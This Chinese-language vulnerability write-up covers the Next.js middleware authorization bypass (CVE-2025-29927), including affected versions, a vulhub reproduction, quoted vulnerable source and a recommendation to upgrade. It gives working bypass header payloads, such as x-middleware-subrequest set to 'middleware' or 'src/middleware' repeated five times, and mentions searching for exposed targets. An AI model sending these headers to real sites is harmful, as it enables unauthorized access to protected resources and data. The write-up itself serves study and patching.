Next.js 中间件鉴权绕过漏洞 漏洞基础原理 Next.js 是一个基于 React 的流行 Web 应用框架,提供服务器端渲染、静态网站生成和集成路由系统等功能。当使用中间件进行身份验证和授权时,Next.js 14.2.25 和 15.2.3 之前的版本存在授权绕过漏洞。
该漏洞允许攻击者通过操作 x-middleware-subrequest
请求头来绕过基于中间件的安全控制,从而可能获得对受保护资源和敏感数据的未授权访问。
受影响的版本 >= 13.0.0,< 13.5.9
>= 14.0.0,< 14.2.25
>= 15.0.0,< 15.2.3
>= 11.1.4,< 12.3.5
对应修补版本 13.5.9
14.2.25
15.2.3
12.3.5
漏洞利用 fofa语法:
注意 需要找到一个目标需要凭证的页面或者目录,用于绕过
漏洞复现-利用 我们使用vulhub进行复现 一个基于 Next.js 15.2.2 的存在漏洞的应用
1.打开网站后强制跳转到登录页面
2.现在进行绕过 我们访问3000端口进行抓包 在请求头添加 ‘x-middleware-subrequest’ 值为: ‘middleware:middleware:middleware:middleware:middleware’
1 x-middleware-subrequest : middleware :middleware :middleware :middleware :middleware
或
1 x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
进行对比,直接访问响应
漏洞原理剖析 旧版本绕过-12.2之前
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 const subreq = params.request .headers [`x-middleware-subrequest` ];const subrequests = typeof subreq === 'string' ? subreq.split (':' ) : [];const allHeaders = new Headers ();let result : FetchEventResult | null = null ;for (const middleware of this .middleware || []) { if (middleware.match (params.parsedUrl .pathname )) { if (!(await this .hasMiddleware (middleware.page , middleware.ssr ))) { console .warn (`The Edge Function for ${middleware.page} was not found` ); continue ; } await this .ensureMiddleware (middleware.page , middleware.ssr ); const middlewareInfo = getMiddlewareInfo ({ dev : this .renderOpts .dev , distDir : this .distDir , page : middleware.page , serverless : this ._isLikeServerless , }); if (subrequests.includes (middlewareInfo.name )) { result = { response : NextResponse .next (), waitUntil : Promise .resolve (), }; continue ; }
runMiddleware
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 protected async runMiddleware(params: { request: IncomingMessage; response: ServerResponse; parsedUrl: ParsedNextUrl; parsed: UrlWithParsedQuery; onWarning?: (warning: Error) => void; }): Promise<FetchEventResult | null > { this .middlewareBetaWarning(); const page: { name?: string; params?: { [key: string]: string } } = {}; if (await this .hasPage(params.parsedUrl.pathname)) { page.name = params.parsedUrl.pathname; } else if (this .dynamicRoutes) { for (const dynamicRoute of this .dynamicRoutes) { const matchParams = dynamicRoute.match(params.parsedUrl.pathname); if (matchParams) { page.name = dynamicRoute.page; page.params = matchParams; break ; } } } const subreq = params.request.headers[`x-middleware-subrequest`]; const subrequests = typeof subreq === 'string' ? subreq.split(':' ) : []; const allHeaders = new Headers(); let result: FetchEventResult | null = null ; for (const middleware of this .middleware || []) { if (middleware.match(params.parsedUrl.pathname)) { if (!(await this .hasMiddleware(middleware.page, middleware.ssr))) { console.warn(`The Edge Function for ${middleware.page} was not found`); continue ; } await this .ensureMiddleware(middleware.page, middleware.ssr); const middlewareInfo = getMiddlewareInfo({ dev: this .renderOpts.dev, distDir: this .distDir, page: middleware.page, serverless: this ._isLikeServerless, }); if (subrequests.includes(middlewareInfo.name)) { result = { response: NextResponse.next(), waitUntil: Promise.resolve(), }; continue ; } result = await run({ name: middlewareInfo.name, paths: middlewareInfo.paths, request: { headers: params.request.headers, method: params.request.method || 'GET' , nextConfig: { basePath: this .nextConfig.basePath, i18n: this .nextConfig.i18n, trailingSlash: this .nextConfig.trailingSlash, }, url: getRequestMeta(params.request, '__NEXT_INIT_URL' )!, page: page, }, useCache: !this .nextConfig.experimental.concurrentFeatures, onWarning: (warning: Error) => { if (params.onWarning) { warning.message += ` "./${middlewareInfo.name} " `; params.onWarning(warning); } }, }); for (let [key, value] of result.response.headers) { if (key!== 'x-middleware-next' ) { allHeaders.append(key, value); } } if (!this .renderOpts.dev) { result.waitUntil.catch ((error) => { console.error(`Uncaught: middleware waitUntil errored`, error); }); } if (!result.response.headers.has('x-middleware-next' )) { break ; } } } if (!result) { this .render404(params.request, params.response, params.parsed); } else { for (let [key, value] of allHeaders) { result.response.headers.set (key, value); } } return result; }
该框架的旧版本(v12.0.7)存在一段代码
1.当 next.js 应用程序使用中间件时,将使用runMiddleware函数 2.runMiddleware函数会检索x-middleware-subrequest头的Value 使用Value来判断是否需要应用中间件
1.具体而言:x-middleware-subrequest头的Value被拆分并使用:作为分隔符创建一个列表 2.检查此列表是否包含middlewareInfo.name值 3.这意味着,如果我们将有正确Value的x-middleware-subrequest头添加到请求中,中间件将被完全忽略,并且请求将通过转发NextResponse.next()并成功访问路径,而中间件不会对其产生任何影响。
为了成功未授权访问,x-middleware-subrequest的Value必须包含middlewareInfo.name
1.middlewareInfo.name middlewareInfo.name的值完全可以猜测,它只是中间件所在的路径。要知道这一点,有必要快速了解一下旧版本中中间件的配置方式。
首先,在版本 12.2之前,该文件必须命名为 _middleware.ts。
此外,approuter 仅在 Next.js 版本 13 中发布。此前唯一存在的 router 就是 pages router ,因此该文件必须放在pages文件夹中(router specific)。
这些信息使我们能够推断出中间件的确切路径,从而猜测出x-middleware-subrequest头的值,后者仅由目录名称和文件名称组成,遵循当时的约定,以下划线开头:
1 x-middleware-subrequest: pages/_middleware
这样便可以完全绕过中间件,从而绕过任何基于它的保护系统
但还需要考虑执行顺序问题
2.执行顺序 12.2 之前的版本允许嵌套路由将一个或多个_middleware
文件放置在树中的任何位置(从pages
文件夹开始),并且具有执行顺序
因此,要获得对/dashboard/panel/admin
(受中间件保护的)的访问权限,关于middlewareInfo.name
的值有三种可能性,因此 x-middleware-subrequest
的值也有三种可能性:
1 2 3 4 5 pages/_middleware pages/dashboard/_middleware pages/dashboard/panel/_middleware
新版本代码 - 12.2之后 从版本 12.2 开始,该文件不再包含下划线,而必须简单地命名为middleware.ts
此外,它不能再位于 pages
文件夹中
1.有效Payload:
1 x -middleware-subrequest: middleware
2./src 目录
还应该考虑到 Next.js 提供了创建/src
目录的可能性
除了在项目根目录中放置特殊的 Next.js 应用程序或页面目录外,Next.js 还支持将应用程序代码放置在 src 目录下的常见模式。Next.js文档
在这种情况下,有效Payload将是:
1 x-middleware-subrequest: src/middleware
因此,无论路径有多少层,总共只有两种可能性
新版本逻辑变动代码 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 export const run = withTaggedErrors (async function runWithTaggedErrors (params ) { const runtime = await getRuntimeContext (params); const subreq = params.request .headers [`x-middleware-subrequest` ]; const subrequests = typeof subreq === 'string' ? subreq.split (':' ) : []; const MAX_RECURSION_DEPTH = 5 ; const depth = subrequests.reduce ( (acc, curr ) => (curr === params.name ? acc + 1 : acc), 0 ); });
常量depth的值必须大于或等于常量MAX_RECURSION_DEPTH的值 (即5)
每当subrequests(即用:分隔的Value的列表)中的其中一个Value等于中间件路径即params.name时,常量depth就会加 1
而params.name跟之前一样,只有两种可能性:middleware/src/middleware
因此,我们只需要在请求中添加以下标头/值即可绕过中间件:
1 x-middleware-subrequest : middleware :middleware :middleware :middleware :middleware
或
1 x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
payload解释:这是为了防止递归请求 陷入无限循环。
漏洞修复 升级到不受影响版本
参考链接 Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927) 复现利用与原理分析_cve-2025-29927复现-CSDN博客
vercel/next.js: The React Framework